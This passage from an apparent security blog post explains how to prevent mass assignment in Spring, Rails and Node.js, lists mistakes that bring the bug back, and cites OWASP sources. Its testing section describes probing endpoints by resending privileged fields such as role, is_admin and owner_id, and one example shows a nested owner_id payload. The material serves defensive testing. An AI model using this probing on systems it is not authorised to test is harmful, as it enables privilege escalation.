<p>A note from us: <code>@InitBinder</code> configures Spring&rsquo;s data binder, which handles form and query parameters bound to <code>@ModelAttribute</code> arguments. JSON request bodies read with <code>@RequestBody</code> are converted by an HTTP message converter instead, so for JSON APIs the dedicated input class is the control that matters.</p>
<h3 id="rails">Rails</h3>
<p>Strong parameters are on by default: the Rails guide says passing unpermitted parameters to mass assignment raises <code>ActiveModel::ForbiddenAttributesError</code>. Rails 8.0 added <code>params.expect</code>, which the guide calls &ldquo;the safest and most explicit way to permit parameters&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">user_params</span>
</span></span><span style="display:flex;"><span>  params<span style="color:#f92672">.</span>expect(<span style="color:#e6db74">user</span>: <span style="color:#f92672">[</span><span style="color:#e6db74">:display_name</span>, <span style="color:#e6db74">:email</span><span style="color:#f92672">]</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span>
</span></span></code></pre></div><p>The guide warns against <code>params.expect(user: {})</code>, which permits every current and future attribute under that key.</p>
<h3 id="nodejs">Node.js</h3>
<p>OWASP&rsquo;s cheat sheet shows the allowlist approach with a pick function, copying only named fields from <code>req.body</code> before constructing the model. A schema validator that rejects unknown keys does the same job.</p>
<h2 id="mistakes-that-reintroduce-the-bug">Mistakes that reintroduce the bug</h2>
<ul>
<li><strong>Blocklisting.</strong> Excluding <code>role</code> works until someone adds <code>is_staff</code>. OWASP and Spring both recommend allowlists.</li>
<li><strong>One input model for every caller.</strong> An admin endpoint may legitimately set <code>role</code>; a self-service endpoint must not. Use separate input models, or decide per field based on who is calling.</li>
<li><strong>Nested objects.</strong> Binding <code>{&quot;profile&quot;: {...}, &quot;account&quot;: {&quot;owner_id&quot;: 2}}</code> onto an object graph can reach properties several levels down. OWASP&rsquo;s cheat sheet tells you to review nested objects; Spring&rsquo;s allowed-field patterns are property paths for the same reason.</li>
<li><strong>Update paths that bypass the model.</strong> A bulk-update job, a GraphQL mutation or an internal admin API that writes the entity directly needs the same allowlist.</li>
<li><strong>Treating field allowlists as authorization.</strong> OWASP says DTOs and allowlists &ldquo;do not replace&rdquo; authorization for the requested object and operation. The <a href="/posts/idor-vulnerabilities-how-to-find-and-fix-insecure-direct-object-references/">IDOR guide</a> covers the object-level check, and <a href="/posts/broken-access-control-real-world-examples-and-how-to-prevent-it/">broken access control</a> covers the wider class.</li>
</ul>
<h2 id="how-to-test-for-it">How to test for it</h2>
<ol>
<li>For each write endpoint, compare the request the UI sends with the object the API returns. Every property in the response that isn&rsquo;t in the request is a candidate.</li>
<li>Send each candidate back in the request, one at a time: <code>role</code>, <code>is_admin</code>, <code>plan</code>, <code>org_id</code>, <code>owner_id</code>, <code>verified</code>, <code>balance</code>, <code>created_at</code>.</li>
<li>Check the stored result, not just the response code. Some vulnerable endpoints return 200 and the unchanged object, then persist the field anyway, or the reverse. OWASP notes that side-effect analysis may be needed when the property isn&rsquo;t returned.</li>
<li>Add regression tests like the one above, so a refactor that switches back to direct binding fails CI.</li>
</ol>
<p>Mass assignment is one of the items in <a href="/posts/the-most-common-api-security-misconfigurations-and-how-to-fix-them/">our list of common API security misconfigurations</a>, and the response-filtering half of API3 belongs in <a href="/posts/how-to-secure-a-public-rest-api-a-production-checklist/">our public REST API checklist</a>.</p>
<h2 id="limits-of-this-article">Limits of this article</h2>
<p>Only the Python example was run. Framework behavior depends on version and configuration; check your framework&rsquo;s documentation for the version you use. We did not independently verify the 2012 GitHub incident beyond OWASP&rsquo;s citation.</p>
<h2 id="sources-and-verification">Sources and verification</h2>
<p>Checked on October 22, 2026.</p>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Verification</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Definition, alternative names, CWE-915, exploitability without source code, GitHub 2012 case, allowlist over blocklist, DTOs don&rsquo;t replace authorization, review nested objects</td>
          <td><a href="https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html">OWASP Mass Assignment Cheat Sheet</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>API3:2023 combines excessive data exposure and mass assignment; exploitability easy; fuzzing and side-effect analysis</td>
          <td><a href="https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/">OWASP API Security Top 10 2023: API3</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Spring guidance: immutable or dedicated objects; entities generally unsafe; setAllowedFields; declarativeBinding; disallowedFields deprecated in 7.1</td>
          <td><a href="https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-data-binding.html">Spring Framework: Data Binding, Model Design</a> (main-branch documentation source)</td>
          <td>Verified; the 7.1 deprecation is stated in current docs</td>
      </tr>
      <tr>
          <td>Rails ForbiddenAttributesError; params.expect introduced in Rails 8.0; warning on expect with an empty hash</td>
          <td><a href="https://guides.rubyonrails.org/action_controller_overview.html">Rails guide: Action Controller Overview</a> and the Rails 8.0 Action Pack changelog</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Python example output</td>
          <td>Run by us on October 22, 2026 (Python 3.13, Flask 3.1.3, Pydantic 2.13.5)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>@RequestBody JSON is not handled by the data binder</td>
          <td>Our note</td>
          <td>Qualified</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item></channel></rss>